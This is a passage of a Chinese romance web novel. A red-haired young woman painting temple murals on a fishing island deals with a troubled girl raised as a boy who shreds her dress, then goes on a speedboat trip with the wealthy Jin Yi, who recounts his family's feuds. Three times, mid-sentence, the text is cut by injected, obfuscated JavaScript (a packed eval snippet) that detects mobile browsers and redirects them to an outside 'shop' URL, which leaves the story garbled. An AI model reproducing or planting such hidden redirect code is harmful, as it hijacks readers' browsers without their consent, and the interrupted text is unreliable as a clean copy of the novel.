“他那么大个人了,又不是你弟弟,还要你顾吗?多考虑自己呀,什么人家啊这么对女儿,造孽哦。”黄威龙说完,石图男本来就低的头,这下更低了。 陈歆韵对察言观色、缓解尴尬什么的从未在意,现在却觉得得要说点什么。 她说:“我来这后看到好多老人都躺椅子上舒舒服服地晒太阳。你们这的生活挺松弛的。” 金翊捻了颗荔枝放进嘴里,冲她轻轻一笑:“那都装的。你别墅盖的比他高一层看看,他晚上气到睡不着,半夜拌水泥盖房子。” 陈歆韵也笑了,知道他是夸张:“不是吧?看着都挺和眉善目的呀。” 黄威龙知道她在帮岛民修复祠堂,对她的态度友善不少,也凑过来插科打诨,除了哑巴的黄威虎和一直低着头的石图男,三人之间的对话有来有回,餐桌的气氛松快不少。 黄威龙突然提到:“我们刚见的时候。你妆化的不错。” 陈歆韵没想到这居然还有这么识货的人,敞开了怀跟他聊美妆的事情。没想到黄威龙对这些事情了解也很深,二人忽然就知己情深起来,喋喋不休。 金翊没怎么吃自己做的东西,夹了两块鸭肉,吃了两只虾,倒是喝了两碗粥,随后倒了一小杯梨花白,转着酒杯看着神色兴奋的陈歆韵,嘴角也带着笑。 做饭的人大多不怎么会细细品味自己做的菜,他们更喜欢坐在餐桌旁静静看对方吃自己做的饭菜开心的模样。 饭毕,陈歆韵只简单睡了下,就赶去画壁画,一个下午的时间,也只能画半面。 陈阿公的家在岛南,离金翊这边更近一些,她跟外婆给打了个电话报平安,晚上在金翊的别墅过夜。 挣大钱,起大厝。是浔尾人骨子里的基因。 在海外挣了钱,就回乡盖别墅,因此浔尾的别墅都是岛上人自家建的,没有统一规划和安排,怎么华丽怎么富贵怎么来。 陈歆韵经过这段路,有几家建的妥妥就是乡村的土皇帝豪华宫殿。金翊的别墅倒显得质朴不少,没有一味堆砌富贵元素,外面瓷砖采用了很多复古花纹,整体设计偏向于南洋风格与现代装饰的融合。 一楼是客厅,二楼是他和他哥的卧室和书房,三楼是他父母的房间。 据金翊说,他哥哥正在国外,父母都去世了,所以三楼改成了亲近好友的固定卧室,其中两间就是给黄家两兄弟的。 四楼则是客房,一共有五间,供逢年过节或者来串门的亲戚朋友留宿用的。 陈歆韵准备洗澡时才发现自己没有带换洗的衣物来。她全身都是颜料的味道,干脆宕机瘫在沙发上。 金翊问她:“那我送你回去?” “不要,那明天要很早起来。” “那你直接睡觉吧。” “可是身上好脏啊,睡不着。” “那我带你去外面街上买套新的” “不想动,新衣服也脏。” 不想动,好困,好累,她缩在棉花沙发上嘟嘟囔囔的,红发凌乱盖在脸上,遮住了大半张脸,露出个撅着的嘴巴。 金翊看着她这副懒猫附身的模样,笑着摇摇头,最后开着辆摩托去北厝,取了外婆给她收拾好的洗漱衣物来。 陈歆韵洗漱完,边擦头发边去四楼客厅找吹风机。 她刚到客厅,发现自己关好的寝室门微开着,里面有点点亮光。她屏住呼吸,悄悄走上前,把门推开了一点,在缝隙里面看到石图男正坐在床上捣鼓着什么。 看清后,她的双眼睁大了,只见石图男手上有一把鲜红的剪刀,正在不断地乱剪撕扯她的裙子。 11. 虎皮鹦鹉 陈歆韵头皮猛然炸开,一股难以置信的惊悚感,从尾椎一路向上。她手捂住嘴,发不出一点叫声,后退几步后狂奔下楼,和正在上楼的金翊撞个满怀。 金翊手里抱着一床棉被,突然有个红色的脑袋扎进他怀里,他想也没想张开双手就着棉被抱过去,等人站稳,他才松开了手。 陈歆韵缩在重重棉被里的身影不断发抖,细长的眼睛濡湿,里面含着恐惧,金翊皱眉:“怎么了?” 陈歆韵用手指着楼上,嘴唇抖的没说出一句话。 金翊把棉被拢好,又牵着陈歆韵的手带她到三楼客厅坐下。 陈歆韵稍稍安下心来,她看了一眼三楼的房间,问道:“他们两个人呢?” 金翊半蹲在她膝盖旁边:“今晚我跟他们换了一层睡,他俩在楼下,怎么了?” 陈歆韵跟他说明事情原委,金翊没回话,先抓着她的胳膊转了两圈。 “我没事,她没有攻击我,我只是不知道为什么会这样。是因为我吗?那个孩子讨厌我?”陈歆韵声音闷闷的,头低垂着,几缕红发轻轻落在金翊手臂上。 他单膝跪着,上半身依旧高大,只得再弯腰,偏头探看陈歆韵的眼睛。再看不到,再继续低下身,好像他一定要直视别人眼睛才能说话似的。 陈歆韵视线里出现一双亮闪闪的眼睛,里面充满诚恳,语气里是歉意:“和你无关,是我的错。我看她下午跟你相处的还不错,想着或许她可以接受你,一时疏忽大意,把你们安排在同一层。” 他现在的样子着实滑稽,陈歆韵笑了下,把头抬起来,让他也能直起身。 “这层还有空房,我给你把行李拿下来,你不用把这件事放在心上,不管怎样,你也没有理由遭受这些。” 金翊半跪半蹲着,还比她高一个头,一只手臂放在她坐着的沙发旁,整个人蹲在她膝边,把她半围起来,挡在她和漆黑的门洞间,这个姿势着实让人有安全感。 陈歆韵宽慰地拍拍他的肩膀,他却突然像只大狗熊一样,闷闷地低着头,这样子有点滑稽又可爱。 她用指头挑起金翊失落的头,两人目光对视后,就很快把手放下了:“那这次就先不跟你计较了。” “那个孩子…”陈歆韵两个葱白的指尖在膝上搅来搅去,犹豫着该不该跟金翊说。 金翊还在蹲着,歪头看她,漆黑的眼瞳澄澈,她心里忽然涌现出莫名的安心:“她是不是很讨厌女性的生理或者外表特征?” 按照陈歆韵的大小姐脾气,居然没有大发雷霆,反而心思玲珑地捕捉到了这件事情。 金翊微微一顿,然后点点头:“我本来打算和她父母商量,让她高中上全寄宿制的学校,离这个家远一点。但是不久前她休学了。” “她家人让的?” “不是。上初三之前有个体检,她把体检老师弄伤了。” 学校的体检无外乎是内外科体检,常规化验和基本项目,其他项目石图男都有好好配合,但是到测量胸围时,她无论如何都不肯张开双手,让医师测量。 老师,同学劝说无用,医师为了节约时间就打算直接上手,没想到石图男起身撞翻了医师,医师倒没什么大碍,只是此事后,学校约谈了家长。 鉴于她平时行为怪僻乖张,被多位家长投诉,这次又展露攻击性,建议先休学处理。 弟弟刚出生不久,父母本来就没有什么心思在她身上,拎着她回去之后,只觉得丢脸,每天抱怨不止,还让她待在家里照顾弟弟。 陈歆韵听完点点头,心里五味杂陈。石图男被当成男孩养大,穿男装,留短发,长期生活在因女性特征被指责的环境里,恐怕她已经把自己当成了男生。 十一二岁女生开始发育,月经初潮,胸部变大,她无法再自欺欺人地忽视生理性别,加上弟弟的出生在家里正式代替了她的位置,医师触摸胸部的行为与她的性别认同相左,撕开她心上的伤口,这要一个有性别认知障碍的孩子根本无法接受。 陈歆韵感觉脑中有根筋在抽痛,一跳一跳的,她抬手揉了揉脑袋。 金翊给她倒了杯温开水,转身打算上楼,袖子却被人拉住。 陈歆韵站起来,眼睫毛还是湿湿的,眼里已经恢复了镇静,她说:“我跟你一起去。” 金翊任她抓着,点点头:“嗯。” 四楼灯都关上了,只有窗外的月光勉强照亮客厅。 金翊摸索到了开关,却被另一只手按住,指尖有些微凉。 陈歆韵在昏暗中朝他摇摇头。 金翊点头,把她护在身后,在四楼摸索起来,但是每个房间都没有看到石图男。 突然一点轻微的窸窣声传来,陈歆韵扯扯金翊的衣角,示意他看窗帘的方向。 金翊悄悄走进墙边,伸手掀开窗帘,布料缓缓被揭开,一个瘦的可怜的身影出现,石图男正抱着双腿挤在墙角瑟缩着,看见金翊后,空洞的眼睛流着泪水,低喃着:“对不起。” 金翊把她牵出来,又注意挡在面前,防止她忽然伤害陈歆韵:“你该道歉的人不是我。” 石图男低着头,陈歆韵抱起手臂看她:“不为自己行为负责的人是坏小孩。你如果不跟我说抱歉。我让他今晚就把你送走。” 石图男猛然抬起头:“不要送走我,爸爸晚上不会给我开门。我晚上会没有地方睡的。” “既然知道有这种后果,你为什么还要做这种事情?” “我不懂。” 陈歆韵有点懵:“什么?” “那么讨厌的东西,你为什么可以穿的这么坦然,那么开心?” 陈歆韵呼吸了几次气才顺:“你家人跟你说的穿裙子留长头发,很让人讨厌吗?” 石图男睁着大大的眼睛,眼珠乌黑凸出,声音近乎尖锐:“是啊,老天一点也不公平,为什么我生下来就是留长发穿裙子的那类人?弟弟生下来就是带把留短发的,奶奶他们喜欢的不得了。就算我也变成那样,爸爸妈妈他们还是不喜欢我,不知道你为什么可以那么若无其事接受这种东西穿在身上?!” 陈歆韵张了好几次嘴想要说什,却可悲地发现,任何安慰在这个孩子浅薄的性别认知里都显得无用且苍白,她现在极度痛苦,最需要的是对她男性特质的认同。 明白这件事情后,陈歆韵的四肢百骸感受到一阵脱力。 “啪嗒”一声,暖黄的灯光充满房间每个角落。 陈歆韵裸露的肩膀感受到一阵暖意,起伏的胸膛也渐渐平息下来。 金翊从开关旁走到两人中间,用眼神问询陈歆韵。 陈歆韵苍白着脸冲他摇摇头,自己找了个沙发坐下。 金翊又对石图男说:“图男,你用石头砸伤了这个姐姐,还撕坏她的衣服,她不会去报警也不起诉你。但是你应该为自己造成的损失负责任。你打算怎么赔偿她医药费和衣服的钱?” 石图男眼神慌乱了,求助地看向金翊,后者对她摇摇头:“你要是一直都对女性保持着仇恨。你上大学,到了别的地方打伤了人,坏了人家的衣服,都要我给你赔钱吗?” 石图男又摇了摇头。眼睛里都是无助:“我不…不是的。我没有恨她,没有,只是看这个姐姐她太……”她忽然闭上嘴,想不出要说什么,好看,漂亮,明朗,鲜艳? 自己那一瞬间升起的想法太多太多,喷涌的思绪交织,把头脑涨痛,不知怎么的,就对她下手了。 石图男怯生生朝陈歆韵走过去,却被金翊抓住,她低声问:“那些东西要多少钱?” 陈歆韵摇摇头:“我需要的是你的道歉。” 乌黑滚圆的眼珠一缩,撇向了一边,石图男咬紧着嘴唇,不说话了。 陈歆韵下了楼,金翊在四楼帮她拿被褥和行李。 石图男在门外看着他,干瘦的手指扣着门框 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“噢。”陈歆韵点点头。 粥里的虾仁清甜,还撒了盐,咸甜适中,一口进去胃里暖洋洋的。 金翊屈起手指给小鸟梳着毛。那鸟舒服极了,闭上眼睛享受。 “图男这件事你别太往心里去。在我们这里重男轻女不少见,建国后政府做了很多工作,已经好了很多,现在他们家这种的确极端。” “嗯。”陈歆韵点点头,声音还是有些低沉,一副兴趣缺缺的模样。 金翊沉默了下,随后喊了她一声,示意她看向鸟,随后朝鸟“嘬嘬嘬”了几声,鸟抬头,见无事发生,又继续闭着眼睛享受抚摸。 金翊又“嘬嘬嘬”了一下,鸟继续抬头,还是无事发生,然后它气愤地用鸟嘴啄金翊的手,把他痛得拧起眉。 陈歆韵有点好笑:“你干嘛招惹它?” “你搓两粒米到手指上试试。”陈歆韵不解,但还是照做,接着朝鸟“嘬嘬嘬”几声,那鸟听见了声响,扑哧一下跳到她手上,啄起了米粒,眼睛眯眯,还蹭蹭陈歆韵的手,那样子神气可爱极了。 陈歆韵终于笑了,学着金翊用手指给它顺毛。 “等你中午画完画,我带你去一个地方。” “什么地方?” “你一直想去的地方?” “啊?” 金翊跟她卖了个关子,惹得她好奇半死,又不肯回答。 等她上午收工出来,金翊已经开着那辆边三轮在门前等了。陈歆韵一直不让火球拿自己脑袋做窝,火球看到他便飞过去跳到他头上。 金翊把安全帽递给她:“上车。” 陈歆韵坐在小飞机座上:“到底去哪?” “澳大利亚。” …… “我现在没心情开玩笑,别逼我抽你。” “是真的。”金翊爽朗一笑,挑起一边俊眉,语气甚是大方:“想抽就抽呗,还挑什么日子。” 12. 游游水波 岛北是旅游观光区,古旧的厝村和最佳日出观景点都在这里。海边草坡上有游客扎了几个露营帐篷。帐篷后方是一片裸露坟堆。 陈歆韵没好气:“北澳在哪呢?” 金翊朝隔海相望的北岛努努嘴,离岛在一片海上雾霭里山影朦胧。 “哈?” 金翊从边三轮箱子里掏出防晒衣和太阳帽给她:“浔尾岛改名之前叫浔尾澳,岛上老人都习惯叫北岛做北澳。 陈歆韵双手抱胸,撅着嘴示意他看看自己现在的脸色。他嘿嘿一笑,展开防晒衣给她盖上:“你去看看嘛,很漂亮的,说不定喜欢得不想去澳大利亚了。” 码头边上有几位游客在白色长亭里排队,亭子旁竖着一个小牌子,上面画了一艘小船符号和跳岛路线,下面有小字:跳岛快艇,200元/人,每次登岛两小时。 附近的离岛最近在休整期,一次只能去几艘船,剩下的人要等船回来才能上去。 太阳攀升得高了,有些照人,陈歆韵额角流汗,扫视一眼人群,意兴阑珊,不是很想排队。 她转向金翊,还没开口,就被对方拉着拐向了路边的铁皮办公室。 金翊没敲门,直接扭着门把手进去。一个穿着汉衫,叼着根烟的年轻男人正把脚翘到桌子上打游戏,斜眼看见金翊进来,手机以一个抛物线的形式砸到桌上。 他神色慌张:“哎呦,老板,什么风把您吹来了?您喝酒,不是,您喝茶。”他转着办公椅,一路把脚放下来又把地上的啤酒罐踢到办公桌下,稳稳停到茶几旁,一套动作行云流水。 金翊有点无语,一脸好笑看他:“不用。给我弄艘船。” 年轻人动作顿了下,又扭头看向他握在陈歆韵腕上的手,眼里出现释然:“哦哦,和嫂子去海上玩,我给你准备艘游艇。” 金翊扭扭头,否决了他的提议:“弄艘小快艇就行。”他又示意陈歆韵:“韵姐,是我朋友。” 又指指年轻人,朝陈歆韵说:“刘家豪,北澳码头旅游公司的经理。” 经理很识相,立马笑得不见眼睛,弯腰伸手跟陈歆韵问好:“韵姐好,我是小刘,就是给翊哥看船的,以后承蒙韵姐多多照顾哈。” 陈歆韵笑的礼貌,回握过去:“都是朋友,我初来乍到还要请你多多关照。” 小刘领着他们到栈桥尽头的专属泊位,一艘快艇像一只收拢羽翼的鹰隼,静静伏在蔚蓝海波上。 快艇线条凌厉流畅,纯白的船体上有一道龙纹从船首贯穿至船尾。 陈歆韵想起来,是初见金翊时,他胸上的那条纹龙。 艇上前面有四个座位,后端有一张宽阔的,与船一体成型的日光浴床。 陈歆韵琢磨着金翊该挺有钱的。虽然他有幢别墅,但有别墅的人在浔尾多的是。可有私人快艇的就该不多见了。 她听外婆讲过金翊家的事,他们家从他祖爷爷那一辈就下南洋打拼,是浔尾早期一批衣锦还乡的华人,经过几代人努力,到金翊这辈,足够养一个四处溜达,插科打诨的溜子富N代了。 想到这,陈歆韵扶额苦笑,自己曾经也是富二代来着。 金翊扶着她准备上船时,两个男人叫住了他们,背着旅行包,穿着却很商务。 其中戴眼镜的背头男人扫视了他们一圈,眼神带着打量,随后他转向陈歆韵:“美女,不介意这趟旅程多我们两个人吧。旅途中就是有各种各样惊奇的际遇才有趣啊。” 接着他绅士模样抬起手,自然而然地接过搭在金翊手上的手:“您和您男伴这次包艇的费用,我们就代付了。” 他大热天的穿着件长袖白衬衫,大背头被汗珠沁得油光水滑,了。陈歆韵看到他胳肢窝下的布料湿了一片,被他搭着的那只手有点痒,好久没抽人巴掌了。 金翊刚准备动作,陈歆韵先把手抬了起来,她把手伸到金翊后背,揪着他衣服擦了两下,冲那位男士礼貌一笑,声音十分温柔:“不好意思哈,没有跟丑八怪搭伙作伴的习惯。” 她转头冲金翊笑:“我们走吧。”金翊点头微笑,顺势插入他们中间,健硕的身躯把背头男挤的差点掉下栈桥。 男人想发火,看到他这身板登时没了脾气,只能自顾自涨红了脸。 他扭头冲小刘说:“给我包艘船,一样的,快点。” 小刘腰弯的十分标准,满脸堆笑:“这位客人。今天时间有点晚,我们这能包的快艇早上都包完了,至于这艘,”他扭头指了指金翊他们坐的船,“是老板自己的。” “轰——”,引擎声响彻码头,快艇在细碎的浪花中嗖的一下滑出出很远,只留下淡淡的白色波纹尾迹,在阳光下闪着光。 从北澳码头出发,一路在海上驰骋,离岸远了些,往回看,礁石上的红旗正在风中猎猎作响,一排排红砖厝在太阳下脆生鲜艳,美轮美奂。 陈歆韵躺在日光床,徜徉在大海里,目遇无垠苍穹,耳边海鸥啼鸣。 她听着海,海里传来金翊的声音。 “你要心情不好的话。可以跳下去,我在这等你。” 陈歆韵真是没懂这人的脑回路:“有你这样安慰人的吗?” 金翊的声音有点懵:“我的意思是海里还挺安静的,可以跳一下,哭也不会有人看到,当然我不是说你一定会哭了,就是……” 他语无伦次,越解释越乱,准备扭过头再正式解释一下却慌乱中撞进那双细长清冷的眼睛。 陈歆韵回到了副座上,汹涌海风吹乱了她的红色长发,一下又一下打在金翊脸上。 他脖子僵了一下,回过头打了一下方向盘:“你头发打到我了。” 陈歆韵稍微拢了一下头发,可马上又被海风吹散,她索性不管了。 “外婆果然什么事都告诉你,我有个弟弟这件事情她也说了?” 金翊无所谓地点点头:“嗯。” 家庭阿姨前几天发了个短信,说她继母刚生产完,是一个男孩子,她爸爸高兴的不得了,当时就给继母名下记了一套房子。 她爸妈闹离婚最厉害那年,任凭她妈妈怎么撒泼打闹,甚至愿意净身出户,她爸都没有松口给陈歆韵记一套房子。 她做独生女习惯了,临到二十岁有了个弟弟,她对这个弟弟倒没有什么不满的情绪,反倒对她爸爸感到毛骨悚然。她后知后觉,原来父亲没有想象中爱她。 怪不得她去意大利那阵子一个电话都没有,说断供就断供,丝毫没有考虑她毕业证都没拿到。 陈歆韵冷眼皱眉看他,金翊后背有点发凉,默默把腿并了起来,陈歆韵不会要给他结扎吧? 他赶紧表明立场:“本人自娘胎里二十多年来从未有过的重男轻女的思想,一直坚持男女平等,并以此为目标奋斗终身。” 陈歆韵完了完眼角,眼眸里映着蓝,整个人气势难得柔和下来,她抱着腿,语气柔柔:“算你识相。我没难过,反正也过了二十年大富大贵的富家小姐生活。看来他挺满意现在的,我心里也就没什么愧疚了。反正我还有我妈。” 她向后展开一个大大的懒腰:“我要是也垮下了,她怎么办?” 陈歆韵还没来得及告诉陈梦婷这件事的时候,跨洋电话先打来了。出乎她意料,是她爸亲自打电话给陈梦琴讲了这件事情。 她猜不透她爸是什么心理,只觉得他可恶极了,离婚后还要跟前妻炫耀现任给他生了个儿子。 她爸妈离婚后,她爸爸偶尔会用狠毒的字眼在她面前骂陈梦琴,但是陈梦琴却从未用过任何激烈的言语骂过他,即使通话时大部分时间都在絮絮叨叨他的不是,可怜自己的付出,用语也比较温和。 她被妈妈哭久了之后,那点烦躁的心情也没了,只想安慰着妈妈。 “这件事情对她打击很大,到时候去澳大利亚,我还得再安慰她一阵呢。” 金翊却突然说:“为什么三个月后才能去澳大利亚?” “她女儿在做手术,这几个月要调理,没办法顾得上我。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129761|196212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “我知道大家都不喜欢她,说她抛妻弃女,自己跟白人老公跑了。但她很关心我的。我爸从小到大其实没怎么管过我。我妈虽然不在身边,但我们经常通电话。” “她给你多少生活费?” “她家庭也过得不好,她每次给我,我都没要。” “转回去之后,她有给你转回来吗?” 陈歆韵有点忍不住了:“你就一定要针对我妈是吧?”她好像想到了什么,把自己抱成一团,嘴巴埋在胳膊里,语气变低微了很多:“是不是外婆跟你说了她的坏话?” 金翊冲她粲然一笑,伸手揉揉她的头:“没有。阿嬷从来没有跟我说过你们母女的不好。” 何止没有,简直把她们夸的跟天仙似的,但有些为人处事金翊看在眼里,只是当着陈歆韵的面,他无法开这个口。 听到让人放心的答案,她笑得像个小孩,这才注意到头上的大手,她马上挂上一副凶相:“滚开。” “好凶哦。” “火球呢?”他俩讲话时,金翊就把船停了,她才注意到某个叽叽喳喳的小球安静的诡异。 她左右张望,快艇就这么大,驾驶座和日光床上都没有,她脑门冒出了点点汗,转头看到金翊好整以暇的模样,气不打一处来。 一巴掌直接拍上去,抽的金翊的胸肌一抖。 金翊抱着胸,很无语:“你往哪抽呢?” “火球呢?” “喏。” 顺着金翊的目光,有条极细的绳子系在鹦鹉身上,小鸟大长翅膀在水里扑腾扑腾几下,给海面造成几微米攻击,就狼狈地飞回金翊手指上。 它“咕叽咕叽”甩了几下毛,又作死飞下去呛了几口水再飞上来,乐此不疲。 陈歆韵嘴巴张成圆形:“这东西还会游泳?” “算吧,它现在沾了水还能飞起来,之前基本等我捞。” 陈歆韵好奇:“你怎么训练它去游泳啊?” 金翊看着那颗火球:“我哪敢训练它,它跟你一样是祖宗,得自己乐意做才行。” “扑通——” 落水声在耳边响起,金翊转回头,身边已经空无一人了。 金翊赶紧把他的鸟掏回来,发动快艇追上去。 他扯着嗓子喊:“你要游过去吗?!” 陈歆韵边游还有余力回答:“我乐意!” 他没办法,只能跟在她身后。 陈歆韵入水那一刻只觉得世界安静了,前所未有的安静,就像金翊说的那样,脸上都是水花,哭也不会有人看到。 除了呼吸不自由,其他都是自由的。 她拼命游,漫无目的地游,不节省丝毫力气,反正金翊在后面,如果他不能把她捞出来,她就安静睡在这片大海里也不错。 四肢终于脱力后,她放松了力,纵容自己陷进无限的柔软和包裹里。精神在无疆的海域游荡。 突然,冰冷的腰肢传来温暖,一个平实厚重的东西圈着她,柔软又炽热,托着她向上,向上,直到脸庞破出水面,陈歆韵大大呼吸了一口清新空气。 等陈歆韵意识回来,已经被金翊抱着腰举到日光床上坐着了。 陈歆韵的红发被海水凝结成一缕一缕,凌乱贴在胸前,几滴清水顺着她的眉尾流经眼眸,流过脸颊,从下巴离开,像一滴泪,滴落在金翊的胸膛上。 金翊还在水里,他的上衣脱掉了,一只手搭在船檐,昂起头看她,下巴刚好在陈歆韵膝盖上,这个姿势,就像上次在沙发边一样,又把陈歆韵半包围起来。 他臂肌肌肉饱满,线条流畅,力量感满满,搭在旁边,几乎和她大腿一样粗,两人的肤色差十分鲜明。 他凌厉的五官被水波蓝海映得柔和,水珠滚在金翊的长长睫毛上,平日里痞气混蛋的人,现在笑起来可爱得紧。 陈歆韵对他嬉皮笑脸的模样忽然有些恼怒又有点说不上来的感觉,索性抬起腿,脚踩在他肩膀上,把他踢远了。 13. 法罗群岛 她踢的时候没有留力,但金翊毕竟身强体健,身体稍微向后晃了一下,又回过身来,肩膀贴着她的脚趾。 陈歆韵心情好了不少,没有再理金翊,转身去看火球。 小家伙还在甩毛,腮边的小绒毛一抖一抖的,可爱极了。 金翊回到驾驶座:“你是又发脾气了吗?” 陈歆韵摸着火球,腰窝上那一大片皮肤还热热的:“谁让你碰我的。” “拜托大小姐讲点道理好不好?我刚要不碰你,你就要葬身大海了,我怎么跟阿嬷交代?” 两人一路拌拌嘴,快艇也接近了北岛。先到达的是一处海蚀洞,洞口岩壁被像薄荷绿一般的玻璃海照得发亮,那股绿映到了两人身上,看起来像绿色阿凡达,陈歆韵无视金翊的拒绝给他拍了好几张照片。 登陆的地方是一大片密密的鹅卵石浅滩,旁边竖着一块牌子,上面写着“中国人自己的黄金海岸线”。 陈歆韵没忍住笑:“什么北澳,就是你们蹭人家的名气。” 金翊摸摸鼻子,嘿嘿一笑:“我们这景致不比澳大利亚差,就是名头不响亮,不蹭一个大的怎么发展啊。” 陈歆韵的一根手指上抚着火球的绒毛,小家伙这时很乖,待在手指上面,不跑也不动。 金翊在后面充当苦力,背包里有水、露营垫、椅子这些,方便中途休息。 走在倾斜的石径小路上,放眼望去,草甸如绒毛般覆盖整座岛屿,零星几只小羊低头啃草,风里混着海的清凉与青草香。 石阶逐级向山顶延伸,越往上,风势越大,视野也越发开阔。等到达了顶峰,倾斜的石径成了分界点,一面是陡峭的悬崖,另一面是绿色缓坡。 夏季穿的衣服薄,刚被浸湿的衣裙已经被太阳晒得差不多干了。陈歆韵站在峰顶张开双手,只觉得天地辽远,山海壮阔,心中满是无边的自由。 金翊没有登上峰顶,在下风口的位置看着她。海风裹挟着陈歆韵的红发飘向天际,鲜艳的色彩在蓝色天空下舞动,像漫画里的场景一样唯美。 突然,陈歆韵扭头看向他,目光停留在他的胸口:“你这条龙还挺有艺术感的。” 金翊一直没把上衣穿上,又走在她旁边,让她总会无意间瞥到好几眼。 “那是,我前后改了好几版的设计。” 陈歆韵挑挑眉,没想到竟是他自己设计的。 金翊平时把自己整理得干净,但也仅此而已,最常见的搭配就是背心、工装裤加皮靴,偶尔会在外面再套一件工装服。再要求他进一步学些潮流美学,像镇上那些小年轻穿潮牌,那就是为难老实人了。 她原本以为这条龙是纹身店老板给他设计的。 陈歆韵走到缓坡那边,踢开两块小石子,金翊默契地把餐垫铺到草甸上。 两人一个坐一个躺,漫无目的聊着天。 “你学过设计?” “我学的它亲戚专业,建筑。” “建筑?那你怎么跑去卖鱼了?” 陈歆韵在厝村遇到好几回金翊驾着他那辆朋克风货车来运鱼。 “渔业公司是威龙他们的,最近岛上是丰渔期,人手不够,过来帮个忙。” 虽然这家公司他也入了股就是了。 太平洋来的夏季风裹挟着潮湿水汽粘在肌肤上,痒痒的,却又很舒服,陈歆韵闭上了眼睛,细细感受着徐徐微风,暖暖和阳。 她最近创业感受到了自食其力的快乐,不免有点以过来人的想法问金翊:“那除了家里的产业外,你没有想要做的事情吗?” “想要做的事情?”金翊有些疑惑。 他的上衣还没穿上,夹杂着盐分的水痕干在身上,让皮肤有些发紧。他伸手松了松腹肌,忽然有点反应过来自己在陈歆韵心中是个什么形象。 他抬手把陈歆韵脸上的墨镜拿走,示意她看峰顶旁边的一块牌子。 那块牌子和岛北码头的,以及刚登上岛时浅滩上的牌子型号一样,都是白底蓝字,上面写着一句话:“中国人自己的法罗群岛。” “你是想说这块牌子是你立的吗?” 金翊笑着点点头:“嗯。” 这种招商引客的旅游宣传牌,不是当地政府立的,就是承包这块地的旅游集团立的。 陈歆韵知道金翊家境殷实,但认为他家产业基本是海外生意,现在看来,金翊家族在国内经营的产业规模也不小。 “我还以为你在国内就靠码头的租船公司赚点零花钱呢。” “那是公司的业务之一,”金翊点点头:“包括你每次往返浔尾和沙埕坐的船。” 陈歆韵在脑海里搜寻那艘大船的模样,隐约记起那个大船船体上的几个白漆字,“金佳轮渡”。 整个岛的旅游开发集团竟是金翊的家族企业,但令陈歆韵比较吃惊的还是他本人,她也认识一些家族企业的少爷,可是金翊无论是外表或是行事作风,都跟她认识的那些家族大少爷完全不一样。 她最佩服的还是金翊的脑回路,脸皮实在太厚,旅游景点不出名,就先蹭个大的,打出“是中国人的XXX”旗号,先吸引一波人来再说。 “你真是个营销小天才,这么宣传,不怕在网上被骂吗?” “那说明有人看呀,籍籍无名才可怕呢。再说,这里的景致这么漂亮,看了宣传帖子来的人,没有一个不给好评的,我这也不算营销诈骗吧。” 陈歆韵被他逗乐了,问道:“你们家族的企业主要在海外吧?国内就你一个人经营吗?” 金翊摇摇头:“旅游公司是我爸开的,本来由我哥继承,但出了一点意外,就轮到我了。” 陈歆韵的神情顿时变得严肃,怕触及到他的家族秘辛,或是什么伤痛往事。金翊倒是无所谓:“他被我爸赶出家族了。” “为什么?” “找了个白人入赘。” 金翊老爸是个宗族传统观念很重的大男人,事事以老祖宗为尊,要求后辈必须血脉纯正,总觉得非我族类,其心必异。 他哥带个白人女孩回来的时候,老爸连门都没让人进,嚷嚷着:“这女人别想进我们家祠堂。” 他哥也不惯着,进屋收拾了东西,跟他爸说了句:“谁稀罕。”便跟着那个白人女孩去美国了。 他爸被气出一口凌霄血,郑重其事地掏出族谱行了礼,把他哥名字在族谱上划掉。 金翊说到这的时候,笑得倒是很开心:“他还以为这是天大的事,结果我哥根本就不管他。他想等我哥回来认错,结果到死都没等到。” “那你哥现在怎么样?” “挺好的呀,在美国跟他老婆做华人的旅游生意,有时候也会回来看看我。” “那你有把他的名字重新写回族谱吗?” “没呢,我爸走的那阵,我和我妈一分钱都不想给族里的长辈,他们差点把我的名字也划出去。” 金翊给陈歆韵讲他爸走了以后,他和他妈怎么跟他爸养在外面的一群细姨、宗族里的长辈争家产。 讲起自家的事情,就像在讲别人家的故事一样,绘声绘色的,陈歆韵被他逗得乐不可支,笑出了眼泪,心里却也有些恻隐。 金翊的家庭情况比她家还要复杂很多,老爸比她老爸还不靠谱,外面养了一群小老婆,光是没见过面的兄弟姐妹就不下五个。 金翊今天不说这些,她还会以为金翊是在家庭美满的富贵人家出生的小少爷,性格阳光又开朗,人生没经历过什么大风大浪和阴霾。 “反正最后家产的大头被我和我妈拿到了。岛上的日子也就这样吧,当初争家产的那些亲戚,细姨什么的,这些年也陆陆续续移民国外了。我妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129762|196212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是命苦,等了她老公大半生,死了还要给他擦屁股,没享受多久,也走了。” 金翊说这几句话的时候,声音很淡,不带什么情绪,陈歆韵却莫名想起了那天升完旗,金翊蹲在外婆家天井旁说的“给自己找一个留在这里的理由”。 她看着峰顶那块牌子,忽然清楚了一些,这个理由里面包含着什么。 陈歆韵躺得慵懒舒服,用太阳帽盖在脸上,掀开一条缝,静静看着金翊。 金翊正呆呆地望向远处的山海,表情平和。 